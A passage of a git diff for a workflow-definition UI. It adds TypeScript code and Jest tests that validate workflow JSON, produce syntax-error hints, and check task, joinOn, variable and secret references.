catch (err: any) { + const error = err as Error; + logger.info("The error is ", err); + const errorHint = getJSONParseErrorHint(error?.message); + + return { + taskErrors: [], + workflowErrors: [ + { + id: ErrorIds.SERIALIZATION_ERROR, + message: `JSON has a **syntax** error: ${error?.message}`, + hint: errorHint, + type: ErrorTypes.WORKFLOW, + severity: ErrorSeverity.ERROR, + }, + ], + }; + } +}; + +const getJSONParseErrorHint = (errorMessage?: string): string => { + const DEFAULT_ERROR_MESSAGE = + "Workflow definition contains JSON syntax errors. Please check the code tab."; + if (!errorMessage) { + return DEFAULT_ERROR_MESSAGE; + } + + const LOWER_ERROR = errorMessage.toLowerCase(); + + const errorPatterns = { + "unexpected end": + "Workflow definition is incomplete. Please check for missing closing brackets (}) or braces (]) in your JSON.", + "expected property name": + "Malformed workflow definition. Please ensure all property names are properly quoted and check for trailing commas.", + "trailing comma": + "Workflow definition contains invalid trailing commas. Please remove them from objects or arrays.", + "bad control character": + "Invalid character sequence detected in workflow definition. Please check special characters in your JSON strings.", + "invalid escape": + "Invalid character sequence detected in workflow definition. Please check special characters in your JSON strings.", + "duplicate key": + "Workflow definition contains duplicate property names. Each property name in a JSON object must be unique.", + "unexpected number": + "Unexpected number format in workflow definition. Please check for missing quotes around property names or values.", + "expected double-quoted property name": + "Property names in workflow definition must be enclosed in double quotes. Please check your JSON syntax.", + "unterminated string": + "Workflow definition contains an unterminated string. Please check for missing closing quotes in your JSON.", + "unexpected character": + "Unexpected character in workflow definition. Please check for invalid syntax or characters in your JSON.", + }; + + if (LOWER_ERROR.includes("unexpected token") && LOWER_ERROR.includes("'<'")) { + return "Invalid character detected in workflow definition. Please ensure your workflow is defined in valid JSON format."; + } + + if (LOWER_ERROR.includes("unexpected token")) { + return "Syntax error detected in workflow definition. Please check for missing commas, colons, or invalid characters."; + } + + for (const [pattern, hint] of Object.entries(errorPatterns)) { + if (LOWER_ERROR.includes(pattern)) { + return hint; + } + } + + return DEFAULT_ERROR_MESSAGE; +}; + +export const computeWorkflowErrors = ( + workflow: Partial, +): SchemaValidationResponse => { + const mainValidator = createMainValidator(workflow); + if (_isNil(mainValidator)) { + return { + taskErrors: [], + workflowErrors: [], + }; + } + // Group error types + const groupedErrors = identifyErrorLocation(mainValidator); + // Identified workflow errors not related to tasks + const workflowErrors = groupedErrors.workflowRoot || []; + // Tasks containing errors + const tasksWithProblems = extractTaskReferenceNameFromTaskErrors( + groupedErrors.workflowTasks || [], + workflow, + ); + + // Task errors + const taskErrors: TaskErrors[] = tasksWithProblems.reduce( + (acc: TaskErrors[], task: TaskDef) => { + const errors = findTaskError(task).filter( + ({ id }) => id !== ErrorIds.UNKNOWN_TASK_TYPE, // We will filter out this errors + ); + if (errors.length === 0) return acc; + + return [...acc, { task, errors }]; + }, + [], + ); + + return { + taskErrors, + workflowErrors, + }; +}; diff --git a/ui-next/src/pages/definition/errorInspector/state/service.test.ts b/ui-next/src/pages/definition/errorInspector/state/service.test.ts new file mode 100644 index 0000000..922b80a --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/service.test.ts @@ -0,0 +1,599 @@ +import { TaskDef, TaskType, WorkflowDef } from "types"; +import { DEFAULT_WF_ATTRIBUTES } from "utils/constants"; +import { + simpleDiagram, + unknownTaskTypeWf, + workflowWithUnknownType, +} from "../../../../testData/diagramTests"; +import { + computeWorkflowErrors, + convertToPropertyPath, + createMainValidator, + extractTaskReferenceNameFromTaskErrors, + findTaskError, + identifyErrorLocation, + truncateToLastNumber, +} from "./schemaValidator"; +import { + buildInputParameterNotationTree, + createJoinOnReferenceError, + findMissingJoinOnReferences, + findUnMatchedTaskReferences, + isValidNestedVariable, + removedTasksToUnmatchedReferences, + taskReferenceProblemToTaskErrors, + valueContainsTaskReference, + valueContainsVariableTaskReference, + workflowParameterToValidationError, +} from "./service"; +import { ErrorIds } from "./types"; + +describe("Workflow Test", () => { + describe("computeWorkflowErrors", () => { + it("Should return null if no error was found", () => { + const validation = createMainValidator( + simpleDiagram as unknown as WorkflowDef, + ); + expect(validation).toBeNull(); + }); + + it("Should return the validate object on error or null otherwise", () => { + const { name: _noname, ...otherWorkflowProps } = simpleDiagram; + const validation = createMainValidator( + otherWorkflowProps as unknown as WorkflowDef, + ); + expect(validation).not.toBeNull(); + }); + }); + describe("identifyErrorLocation", () => { + it("Should identify workflow as a unique location if the error is within the workflow", () => { + const { name: _noname, ...otherWorkflowProps } = simpleDiagram; + const validation = createMainValidator( + otherWorkflowProps as unknown as WorkflowDef, + ); + const result = identifyErrorLocation(validation); + + expect(result.workflowRoot.length).toBeTruthy(); + }); + it("Should identify workflowTask as a unique location of errors", () => { + const validation = createMainValidator( + workflowWithUnknownType as unknown as WorkflowDef, + ); + const result = identifyErrorLocation(validation); + + expect(result.workflowTasks.length).toBeTruthy(); + }); + it("Should identify two types of error", () => { + const { name: _ignoreName, ...otherWorkflowWithUnknownTypeProps } = + workflowWithUnknownType; + const validation = createMainValidator( + otherWorkflowWithUnknownTypeProps as unknown as WorkflowDef, + ); + const result = identifyErrorLocation(validation); + + expect(result.workflowTasks.length).toBeTruthy(); + expect(result.workflowTasks.length).toBeTruthy(); + }); + }); + + describe("extractTaskReferenceNameFromTaskErrors", () => { + it("Should extract the tasks with the error", () => { + const validation = createMainValidator( + workflowWithUnknownType as unknown as WorkflowDef, + ); + const result = identifyErrorLocation(validation); + + expect(result.workflowTasks.length).toBeTruthy(); + const tasksWithPoblems = extractTaskReferenceNameFromTaskErrors( + result.workflowTasks, + workflowWithUnknownType as unknown as WorkflowDef, + ); + expect(tasksWithPoblems.length).toBe(1); + }); + }); + + describe("findTaskError", () => { + it("Should return an unknown-task-type error", () => { + const taskWithUnknownType = { + name: "image_convert_resize_jim", + taskReferenceName: "image_convert_resize_ref", + inputParameters: {}, + type: "UNKNOWN_TYPE", + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }; + const result = findTaskError(taskWithUnknownType as unknown as TaskDef); + expect(result.length).toBe(1); + expect(result[0].id).toEqual(ErrorIds.UNKNOWN_TASK_TYPE); + }); + + it("Should return an task-type-not-present error", () => { + const taskWithUnknownType = { + name: "image_convert_resize_jim", + taskReferenceName: "image_convert_resize_ref", + inputParameters: {}, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }; + const result = findTaskError(taskWithUnknownType as unknown as TaskDef); + expect(result.length).toBe(1); + expect(result[0].id).toEqual(ErrorIds.TASK_TYPE_NOT_PRESENT); + }); + it("Should return a task-required-field-missing", () => { + const taskWithNoName = { + taskReferenceName: "image_convert_resize_ref", + inputParameters: {}, + type: "SIMPLE", + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }; + const result = findTaskError(taskWithNoName as unknown as TaskDef); + expect(result[0].id).toEqual(ErrorIds.TASK_REQUIRED_FIELD_MISSING); + }); + + it("Should not show taskError with unknown task type", () => { + const result = computeWorkflowErrors(unknownTaskTypeWf as any); + expect(result.taskErrors).toEqual([]); + }); + + // Skipping this test because after refactoring HTTP Task, the http_request is not required in inputParameters + it.skip("Should return a task-required-input-parameter-field", () => { + const httpTask = { + name: "last_task", + taskReferenceName: "last_task", + inputParameters: {}, + type: "HTTP", + }; + const result = findTaskError(httpTask as unknown as TaskDef); + expect(result[0].id).toEqual( + ErrorIds.TASK_REQUIRED_INPUT_PARAMETERS_MISSING, + ); + }); + }); +}); + +describe("findUnMatchedReferences", () => { + it("Should return a list of containing tasks with unmatched references", () => { + const affectedTasks = removedTasksToUnmatchedReferences({ + existingTaskReferences: ["image_convert_resize_ref", "upload_toS3_ref"], + lastTaskRoute: simpleDiagram.tasks as unknown as TaskDef[], + }); + + expect(affectedTasks.length).toBe(1); + }); +}); + +describe("valueContainsTaskReference", () => { + const path = "somePath"; + it("Should return path of reference within a string if no match found", () => { + const result = valueContainsTaskReference( + "${myTestReferenceUnkn.output.fileLocation}", + ["myTestReference"], + path, + ); + expect(result).toEqual([path]); + }); + it("Should return path if there is no reference within a string array", () => { + expect( + valueContainsTaskReference( + ["${myTestReferenceUNK.output.fileLocation}"], + ["myTestReference"], + path, + ), + ).toEqual([path]); + }); + it("Should return path with nested key if there is no reference within an object value", () => { + expect( + valueContainsTaskReference( + { a: "${myTestReference.output.fileLocation}" }, + ["myTest"], + path, + ), + ).toEqual([`${path}.a`]); + }); + + it("Should return path if there is no reference within a nested object value", () => { + expect( + valueContainsTaskReference( + { a: { b: "${myTestReference.output.fileLocation}" } }, + ["myTest"], + path, + ), + ).toEqual([`${path}.a.b`]); + }); + + it("Should return empty if there is no reference to task inLocation", () => { + expect( + valueContainsTaskReference( + { + a: { b: "${myTestReferenceThat does not exist.output.fileLocation}" }, + }, + ["myTestReference"], + "i", + ), + ).toEqual(["i.a.b"]); + }); + it("Should return path if extra space found", () => { + const result = valueContainsTaskReference( + "${ myTestReference.output }", + ["myTestReference"], + path, + ); + expect(result).toEqual([path]); + }); + it("Should pass the check if [] found", () => { + const result = valueContainsTaskReference( + "${myTestReference.output.test[0]}", + ["myTestReference"], + path, + ); + expect(result).toEqual([]); + }); + it("Should return path if nested ${} found", () => { + const result = valueContainsTaskReference( + "${${myTestReference.output}}", + ["myTestReference"], + path, + ); + expect(result).toEqual([path]); + }); + it("Should pass if single hyphen found", () => { + const result = valueContainsTaskReference( + "${myTestReference.output-iid}", + ["myTestReference"], + path, + ); + expect(result).toEqual([]); + }); + it("Should return path if sequence of hyphen found", () => { + const result = valueContainsTaskReference( + "${myTestReference.output--iid}", + ["myTestReference"], + path, + ); + expect(result).toEqual([path]); + }); + it("Should return path if special characters found", () => { + const result = valueContainsTaskReference( + "${myTestReference.output#?@%&}", + ["myTestReference"], + path, + ); + expect(result).toEqual([path]); + }); + it("Should return path if space inbetween", () => { + const result = valueContainsTaskReference( + "${myTestReference .output}", + ["myTestReference"], + path, + ); + expect(result).toEqual([path]); + }); + it("Should return legacy error if ${CPEWF_TASK_ID} found(workflow missing references)", () => { + const result = workflowParameterToValidationError({ + data: "${CPEWF_TASK_ID}", + workflowName: "some_workflow", + }); + const expectedMessage = + "'data' references '${CPEWF_TASK_ID}', is a legacy ref and should be replaced by 'task_ref_name.taskId'"; + expect(result.message).toEqual(expectedMessage); + }); + it("Should return legacy error if ${CPEWF_TASK_ID} found(task missing references)", () => { + const result = taskReferenceProblemToTaskErrors({ + task: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + description: "", + startDelay: 0, + joinOn: [""], + optional: false, + defaultExclusiveJoinTask: [""], + inputParameters: { + http_request: { + uri: "https://orkes-api-tester.orkesconductor.com/api", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: 3000, + accept: "application/json", + contentType: "application/json", + body: "${CPEWF_TASK_ID}", + }, + }, + type: TaskType.HTTP, + }, + parameters: ["http_request.body"], + expressions: [], + }); + + const expectedMessage = + "input parameter 'http_request.body' references '${CPEWF_TASK_ID}', A legacy ref and should be replaced by 'task_ref_name.taskId'"; + expect(result.errors[0]?.message).toEqual(expectedMessage); + }); + it("Should pass if default workflow variables are found", () => { + const taskReferences = [ + "workflow.workflowId", + "workflow.output", + "workflow.status", + "workflow.parentWorkflowId", + "workflow.parentWorkflowTaskId", + "workflow.workflowType", + "workflow.version", + "workflow.correlationId", + "workflow.variables", + "workflow.createTime", + "workflow.taskToDomain", + ]; + DEFAULT_WF_ATTRIBUTES.forEach((item) => { + const result = valueContainsTaskReference( + `\${${item}}`, + taskReferences, + path, + ); + expect(result).toEqual([]); + }); + }); +}); + +describe("valueContainsVariableTaskReference", () => { + const path = "somePath"; + const stringValue = "${workflow.variables.count}"; + const noRefValue = "${workflow.variables.something}"; + const nestedArray = [ + "${workflow.variables.name}", + "${workflow.variables.types}", + ["${workflow.variables.type}", "${workflow.variables.type}"], + ]; + const nestedObject = { + value1: "${workflow.variables.year}", + value2: "${workflow.variables.location}", + value3: { + innerValue1: "${workflow.variables.years}", + innerValue2: "${workflow.variables.location}", + }, + }; + const variableReferences = [ + "workflow.variables.name", + "workflow.variables.type", + "workflow.variables.year", + "workflow.variables.location", + "workflow.variables.count", + ]; + + it("Should return empty if there is no reference to task inLocation", () => { + expect( + valueContainsVariableTaskReference(stringValue, variableReferences, path), + ).toEqual([]); + }); + it("Should return path of reference within a string if no match found", () => { + const result = valueContainsVariableTaskReference( + noRefValue, + variableReferences, + path, + ); + expect(result).toEqual([path]); + }); + it("Should return path if there is no reference within a nested array", () => { + expect( + valueContainsVariableTaskReference(nestedArray, variableReferences, path), + ).toEqual([path]); + }); + it("Should return path with nested key if there is no reference within an nested object", () => { + expect( + valueContainsVariableTaskReference( + nestedObject, + variableReferences, + path, + ), + ).toEqual([`${path}.value3.innerValue1`]); + }); + + it("Should show taskReferences with list of pathsAffected", () => { + const affectedTask = { + name: "upload_toS3_jim", + taskReferenceName: "upload_toS3_ref", + inputParameters: { + fileLocation: "${image_convert_resize_ref.output.fileLocation}", + }, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + } as unknown as TaskDef; + const result = findUnMatchedTaskReferences( + ["upload_toS3_ref"], + [affectedTask], + ); + expect(result).toEqual( + expect.arrayContaining([ + { + task: affectedTask, + parameters: ["fileLocation"], + expressions: [], + joinOn: [], + }, + ]), + ); + }); +}); + +describe("buildInputParameterNotationTree", () => { + const path = "somePath"; + it("Should return path if value is just a string", () => { + const result = buildInputParameterNotationTree({ a: "justAString" }, path); + expect(result).toEqual([path + ".a"]); + }); + it("Should return path if value is an array", () => { + expect( + buildInputParameterNotationTree( + { a: ["${myTestReferenceUNK.output.fileLocation}"] }, + path, + ), + ).toEqual([path + ".a"]); + }); + + it("Should return path if value is in a nested object", () => { + expect( + buildInputParameterNotationTree( + { a: { b: "${myTestReference.output.fileLocation}" } }, + path, + ), + ).toEqual([`${path}.a.b`]); + }); + it("Should return empty if provided object is empty", () => { + expect(buildInputParameterNotationTree({}, path)).toEqual([]); + }); + it("Should return two paths even if one is empty", () => { + expect(buildInputParameterNotationTree({ a: "some", b: {} }, path)).toEqual( + [`${path}.a`, `${path}.b`], + ); + }); +}); + +describe("truncateToLastNumber", () => { + it("Should return path to last number", () => { + expect( + truncateToLastNumber("/decisionCases/new_case_bmoty/0/inputParameters"), + ).toEqual("/decisionCases/new_case_bmoty/0"); + }); + it("Should support more than one path", () => { + expect( + truncateToLastNumber( + "/decisionCases/new_case_bmoty/0/decsionCases/otherPath/1/type", + ), + ).toEqual("/decisionCases/new_case_bmoty/0/decsionCases/otherPath/1"); + }); +}); + +describe("convertToPropertyPath", () => { + it("Should take an instancePath and convert it to a property path", () => { + const instancePath = "/decisionCases/new_case_bmoty/0/inputParameters"; + const longInstancePath = + "/decisionCases/new_case_bmoty/0/decsionCases/otherPath/1"; + expect(convertToPropertyPath(instancePath)).toEqual( + ".decisionCases.new_case_bmoty[0].inputParameters", + ); + expect(convertToPropertyPath(longInstancePath)).toEqual( + ".decisionCases.new_case_bmoty[0].decsionCases.otherPath[1]", + ); + }); +}); + +describe("isValidNestedVariable", () => { + const expectedReferences = [ + "workflow.input", + "workflow.input.test", + "workflow.secrets", + ]; + it("Should return true as variables nested are available", () => { + const valueString = "${workflow.secrets.${workflow.input.test}}"; + expect(isValidNestedVariable(expectedReferences, valueString)).toEqual( + true, + ); + }); + it("Should return false as some variable is not available", () => { + const valueString1 = "${workflow.secrets.${workflow.input.cool}}"; + expect(isValidNestedVariable(expectedReferences, valueString1)).toEqual( + false, + ); + }); + it("Should return true - nested variables inside the url", () => { + const valueString3 = + "https://orkes-api-tester.orkesconductor.com/api/${workflow.secrets.${workflow.input.test}}"; + expect(isValidNestedVariable(expectedReferences, valueString3)).toEqual( + true, + ); + }); +}); + +describe("findMissingJoinOnReferences", () => { + const baseTask = { + name: "dummy", + taskReferenceName: "dummy_ref", + description: "", + startDelay: 0, + inputParameters: {}, + optional: false, + asyncComplete: false, + defaultExclusiveJoinTask: [], + loopOver: [], + decisionCases: {}, + defaultCase: [], + forkTasks: [], + type: undefined, + joinOn: [], + }; + + const task = { + ...baseTask, + name: "join", + taskReferenceName: "join_ref", + type: TaskType.JOIN, + joinOn: ["a", "b", "c"], + }; + it("returns missing joinOn references", () => { + expect(findMissingJoinOnReferences(task, ["a", "c"])).toEqual(["b"]); + }); + + it("returns empty array if all joinOn references exist", () => { + const taskAllExist = { + ...baseTask, + type: TaskType.JOIN, + joinOn: ["a", "b"], + }; + expect(findMissingJoinOnReferences(taskAllExist, ["a", "b"])).toEqual([]); + }); + + it("returns empty array if not a JOIN task", () => { + const notJoinTask = { + ...baseTask, + type: TaskType.SIMPLE, + joinOn: ["a", "b"], + }; + expect(findMissingJoinOnReferences(notJoinTask, ["a", "b"])).toEqual([]); + }); +}); + +describe("createJoinOnReferenceError", () => { + const baseTask = { + name: "dummy", + taskReferenceName: "dummy_ref", + description: "", + startDelay: 0, + inputParameters: {}, + optional: false, + asyncComplete: false, + defaultExclusiveJoinTask: [], + loopOver: [], + decisionCases: {}, + defaultCase: [], + forkTasks: [], + type: undefined, + joinOn: [], + }; + it("returns a structured error for missing joinOn reference", () => { + const task = { + ...baseTask, + name: "join", + taskReferenceName: "join_ref", + type: TaskType.JOIN, + joinOn: ["a", "b", "c"], + }; + const missingRef = "missing_task"; + expect(createJoinOnReferenceError(task, missingRef)).toEqual({ + id: "reference-problems", + taskReferenceName: "join_ref", + message: "joinOn references missing taskReferenceName 'missing_task'", + type: "TASK", + severity: "WARNING", + }); + }); +}); diff --git a/ui-next/src/pages/definition/errorInspector/state/service.ts b/ui-next/src/pages/definition/errorInspector/state/service.ts new file mode 100644 index 0000000..6511976 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/service.ts @@ -0,0 +1,539 @@ +import _entries from "lodash/entries"; +import _first from "lodash/first"; +import _isArray from "lodash/isArray"; +import _isEmpty from "lodash/isEmpty"; +import _isObject from "lodash/isObject"; +import _nth from "lodash/nth"; +import { getEnvVariables } from "pages/definition/commonService"; +import { fetchContextNonHook, fetchWithContext } from "plugins/fetch"; +import { queryClient } from "queryClient"; +import { InlineTaskDef, TaskDef, TaskType } from "types"; +import { WorkflowDef } from "types/WorkflowDef"; +import { DEFAULT_WF_ATTRIBUTES } from "utils/constants"; +import { FEATURES, featureFlags } from "utils/flags"; +import { + getVariablesForEachTasks, + validateExpressionWithInputParams, +} from "./helpers"; +import { + ErrorIds, + ErrorInspectorMachineContext, + ErrorSeverity, + ErrorTypes, + ReferenceProblems, + RefractorObject, + TaskErrors, + TaskReferenceReportingParameters, + TaskWithUnknownReference, + ValidationError, +} from "./types"; + +const fetchContext = fetchContextNonHook(); + +const enabledAdvancedValidations = featureFlags.isEnabled( + FEATURES.ADVANCED_ERROR_INSPECTOR_VALIDATIONS, +); + +export const valueContainsTaskReference = ( + value: any, + taskReferences: string[], + path = "", +): string[] => { + if (typeof value === "string") { + const hasReference = taskReferences.some( + (tr) => + value.includes(`{${tr}.`) || + value.includes(`{${tr}}`) || + value.includes(`{workflow.input}`) || + value.includes(`{workflow.secrets}`) || + value.includes(`{workflow.env}`), + ); + // this regex will allow letters,digits,underscore,dot and hyphen + const pattern = + /\${(?!.*(\$|\{|}|<>|-)\1)[a-zA-Z_\d-[\]]+(\.[a-zA-Z_\d-[\]]+)*(\.[a-zA-Z_]+\(\))?}/; + + const expectedReferences = [ + ...taskReferences, + "workflow.input", + "workflow.secrets", + "workflow.env", + ]; + + const isValidVariable = enabledAdvancedValidations + ? pattern.test(value) || isValidNestedVariable(expectedReferences, value) + : pattern.test(value); + + return value.includes("${") && (!hasReference || !isValidVariable) + ? [path] + : []; + } + if (_isArray(value)) { + return value.flatMap((v) => + valueContainsTaskReference(v, taskReferences, path), + ); + } + + if (_isObject(value)) { + return Object.entries(value).flatMap( + ([key, value]) => + valueContainsTaskReference(value, taskReferences, `${path}.${key}`), + 0, + ); + } + + return []; +}; + +export const valueContainsVariableTaskReference = ( + value: any, + taskReferences: string[], + path = "", +): string[] => { + if (typeof value === "string" && value.startsWith("${workflow.variables.")) { + const hasReference = taskReferences.some( + (tr) => value.includes(`{${tr}.`) || value.includes(`{${tr}}`), + ); + const pattern = + /\${(?!.*(\$|\{|}|<>|-)\1)[a-zA-Z_\d-[\]]+(\.[a-zA-Z_\d-[\]]+)*(\.[a-zA-Z_]+\(\))?}/; + + const isValidVariable = pattern.test(value); + + return value.includes("${") && isValidVariable && !hasReference + ? [path] + : []; + } + if (_isArray(value)) { + return value.flatMap((v) => + valueContainsVariableTaskReference(v, taskReferences, path), + ); + } + + if (_isObject(value)) { + return Object.entries(value).flatMap( + ([key, value]) => + valueContainsVariableTaskReference( + value, + taskReferences, + `${path}.${key}`, + ), + 0, + ); + } + + return []; +}; + +export const findTaskReferencesInInputParameters = ( + existingTaskReferences: string[], + task: Partial, +): string[] => { + const taskInputParameters = task?.inputParameters || {}; + return Object.entries(taskInputParameters).flatMap(([key, value]) => + valueContainsTaskReference(value, existingTaskReferences, key), + ); +}; + +export const findMissingJoinOnReferences = ( + task: TaskDef, + existingTaskReferences: string[], +): string[] => { + if (task.type === TaskType.JOIN && Array.isArray(task.joinOn)) { + return task.joinOn.filter((ref) => !existingTaskReferences.includes(ref)); + } + return []; +}; + +export const findUnMatchedTaskReferences = ( + existingTaskReferences: string[], + possiblyAffectedTasks: TaskDef[], +): TaskWithUnknownReference[] => { + return possiblyAffectedTasks.reduce( + (acc: TaskWithUnknownReference[], task): TaskWithUnknownReference[] => { + const parameters = findTaskReferencesInInputParameters( + existingTaskReferences, + task, + ); + const expressions = + validateExpressionWithInputParams(task as Partial) ?? []; + + const joinOn = findMissingJoinOnReferences(task, existingTaskReferences); + + if (_isEmpty(parameters) && _isEmpty(expressions) && _isEmpty(joinOn)) { + return acc; + } + return acc.concat({ + task, + parameters, + expressions, + joinOn, + }); + }, + [], + ); +}; + +export const findUnMatchedWorkflowReferences = ( + existingTaskReferences: string[], + workflow: Partial, +) => { + const workflowOutputParams = workflow?.outputParameters || {}; + + const unMatchedWorkflowReferences = Object.entries( + workflowOutputParams, + ).reduce((acc: string[], [k, v]) => { + const affectedParams = valueContainsTaskReference( + v, + existingTaskReferences, + k, + ); + if (_isEmpty(affectedParams)) { + return acc; + } + return acc.concat(affectedParams); + }, []); + + let refractoredArray: RefractorObject[] = []; + if (workflow && workflow.outputParameters) { + refractoredArray = findObjectWithValue( + unMatchedWorkflowReferences, + workflow, + ); + } + + return refractoredArray; +}; + +export const findVariableReferencesInInputParameters = ( + variableTaskReferences: Record, + task: Partial, +) => { + const taskInputParameters = task?.inputParameters || {}; + const currentTaskVariable = + (task.taskReferenceName && + variableTaskReferences[task?.taskReferenceName]) || + []; + const possibleVariablePaths = currentTaskVariable.map( + (variable) => `workflow.variables.${variable}`, + ); + return Object.entries(taskInputParameters).flatMap(([key, value]) => + valueContainsVariableTaskReference(value, possibleVariablePaths, key), + ); +}; + +export const findUnMatchedVariableReferencesTaks = ( + variableTaskReferences: Record, + tasks: TaskDef[], +) => { + return tasks.reduce( + (acc: TaskWithUnknownReference[], task): TaskWithUnknownReference[] => { + const parameters = findVariableReferencesInInputParameters( + variableTaskReferences, + task, + ); + if (_isEmpty(parameters)) { + return acc; + } + return acc.concat({ + task, + parameters, + expressions: [], + }); + }, + [], + ); +}; + +function findObjectWithValue(arr: string[], obj: any) { + const matchingKeys: RefractorObject[] = []; + for (const [key, value] of _entries(obj?.outputParameters)) { + if (arr.includes(key)) { + matchingKeys.push({ [key]: value, workflowName: obj?.name }); + } + } + return matchingKeys; +} + +const valueCrawler = (value: any, path = ""): string[] => { + if (typeof value === "string") { + return [path]; + } + if (_isArray(value)) { + return [path]; + } + + if (_isObject(value)) { + const objResult = Object.entries(value).flatMap( + ([key, value]) => valueCrawler(value, `${path}.${key}`), + 0, + ); + return _isEmpty(objResult) ? [path] : objResult; + } + return []; +}; + +export const buildInputParameterNotationTree = ( + inputParameters: Record, + path: string, +): string[] => { + return Object.entries(inputParameters).flatMap(([key, value]) => + valueCrawler(value, `${path}.${key}`), + ); +}; + +export const removedTasksToUnmatchedReferences = ({ + existingTaskReferences, + lastTaskRoute, +}: TaskReferenceReportingParameters): Array => { + return findUnMatchedTaskReferences(existingTaskReferences, lastTaskRoute); +}; + +type TaskReferenceTaskTuple = [string[], TaskDef[]]; + +export const workflowParameterToValidationError = ( + obj: RefractorObject, +): ValidationError => { + const firstKey = _first(Object.keys(obj)); + const reference = firstKey ? firstKey : ""; + const variableName = obj[reference] ? obj[reference] : ""; + const errorKind = variableName.includes("workflow") ? "workflow" : "task"; + const message = `'${firstKey ? firstKey : ""}' references unknown ${ + errorKind === "workflow" + ? `workflow variable - '${variableName}'` + : `task variable - '${variableName}'` + }`; + const legacyRefWarning = `'${ + firstKey ? firstKey : "" + }' references '${variableName}', is a legacy ref and should be replaced by 'task_ref_name.taskId'`; + return { + id: ErrorIds.REFERENCE_PROBLEMS, + message: variableName === `\${CPEWF_TASK_ID}` ? legacyRefWarning : message, + type: ErrorTypes.WORKFLOW, + severity: ErrorSeverity.WARNING, + }; +}; + +export const createJoinOnReferenceError = ( + task: TaskDef, + missingRef: string, +) => { + return { + id: ErrorIds.REFERENCE_PROBLEMS, + taskReferenceName: task.taskReferenceName, + message: `joinOn references missing taskReferenceName '${missingRef}'`, + type: ErrorTypes.TASK, + severity: ErrorSeverity.WARNING, + }; +}; + +export const taskReferenceProblemToTaskErrors = ( + tp: TaskWithUnknownReference, +): TaskErrors => { + const values = tp.parameters?.map((param) => { + const path = param + .split(".") + .reduce((obj: any, key) => obj?.[key], tp?.task?.inputParameters); + return path; + }); + const parameterErrors = (tp.parameters || []).map((p, i) => ({ + id: ErrorIds.REFERENCE_PROBLEMS, + taskReferenceName: tp.task.taskReferenceName, + message: + values[i] === `\${CPEWF_TASK_ID}` + ? `input parameter '${p}' references '\${CPEWF_TASK_ID}', A legacy ref and should be replaced by 'task_ref_name.taskId'` + : `input parameter '${p}' references non existing variable`, + type: ErrorTypes.TASK, + severity: ErrorSeverity.WARNING, + })); + const joinOnErrors = (tp.joinOn || []).map((missingRef) => + createJoinOnReferenceError(tp.task, missingRef), + ); + return { + task: tp.task, + errors: [...parameterErrors, ...joinOnErrors], + }; +}; + +export const expressionReferenceProblemToInputParametersErrors = ( + tp: TaskWithUnknownReference, +): TaskErrors => { + return { + task: tp.task, + errors: tp.expressions.map((p) => ({ + id: ErrorIds.REFERENCE_PROBLEMS, + taskReferenceName: tp.task.taskReferenceName, + message: + tp.task.type === TaskType.JDBC + ? `'statement' ${p}` + : `expression input parameter '${p}' does not exist`, + type: ErrorTypes.TASK, + severity: ErrorSeverity.WARNING, + })), + }; +}; + +export const testForRemovedTaskReferencesService = async ( + context: ErrorInspectorMachineContext, +): Promise => { + const { currentWf: workflow, crumbMap, secrets, envs } = context; + try { + const [existingTaskReferences, tasks] = Object.entries(crumbMap!).reduce( + ( + acc: TaskReferenceTaskTuple, + [taskReferenceName, { task }], + ): TaskReferenceTaskTuple => { + const taskReferences: string[] = acc[0].concat(taskReferenceName); + const cTask: TaskDef[] = acc[1].concat(task); + const rTuple: TaskReferenceTaskTuple = [taskReferences, cTask]; + return rTuple; + }, + [[], []], + ); + + const possibleWfParametesPath = (workflow?.inputParameters || []).map( + (p) => `workflow.input.${p}`, + ); + const envNames = Object.keys(envs || {}); + + const secretNames = (secrets || []).map( + (item: Record) => item?.name, + ); + const possibleSecretsNamePath = (secretNames || []).map( + (p) => `workflow.secrets.${p}`, + ); + + const possibleEnvPaths = (envNames || []).map((p) => `workflow.env.${p}`); + + const basicValidation = () => { + return existingTaskReferences + .concat("workflow.secrets") + .concat("workflow.env") + .concat("workflow.input") + .concat(DEFAULT_WF_ATTRIBUTES); + }; + const advancedValidation = () => { + return existingTaskReferences + .concat(possibleWfParametesPath) + .concat(possibleEnvPaths) + .concat(possibleSecretsNamePath) + .concat(DEFAULT_WF_ATTRIBUTES); + }; + + const possibleReferences = enabledAdvancedValidations + ? advancedValidation() + : basicValidation(); + + const unMatchedTasks = removedTasksToUnmatchedReferences({ + existingTaskReferences: possibleReferences, + lastTaskRoute: tasks, + }); + + const unMatchedTasksForVariable = findUnMatchedVariableReferencesTaks( + getVariablesForEachTasks(crumbMap!), + tasks, + ); + + const unMatchesInWorkflow = findUnMatchedWorkflowReferences( + possibleReferences, + workflow!, + ); + + const unMatchedReferenceTasks = [ + ...unMatchedTasks, + ...(enabledAdvancedValidations ? unMatchedTasksForVariable : []), + ]; + + const expressionInputRefProblems = unMatchedReferenceTasks.reduce( + (acc, task) => { + const mapped: TaskErrors = + expressionReferenceProblemToInputParametersErrors(task); + if (mapped.errors.length > 0) { + acc.push(mapped); + } + return acc; + }, + [] as TaskErrors[], + ); + + const taskRefProblems = unMatchedReferenceTasks.reduce((acc, task) => { + const mapped: TaskErrors = taskReferenceProblemToTaskErrors(task); + if (mapped.errors.length > 0) { + acc.push(mapped); + } + return acc; + }, [] as TaskErrors[]); + + const consolidatedTaskReferenceProblems = [ + ...taskRefProblems, + ...expressionInputRefProblems, + ]; + + return Promise.resolve({ + workflowReferenceProblems: unMatchesInWorkflow.map( + workflowParameterToValidationError, + ), + taskReferencesProblems: consolidatedTaskReferenceProblems, + unreachableTaskProblems: [], + }); + } catch { + return { + workflowReferenceProblems: [], + taskReferencesProblems: [], + unreachableTaskProblems: [], + }; + } +}; + +export const fetchSecrets = async ({ + authHeaders: headers, +}: ErrorInspectorMachineContext) => { + const url = `/secrets-v2`; + try { + const result = await queryClient.fetchQuery([fetchContext.stack, url], () => + fetchWithContext(url, fetchContext, { headers }), + ); + return result; + } catch (error) { + return Promise.reject(error); 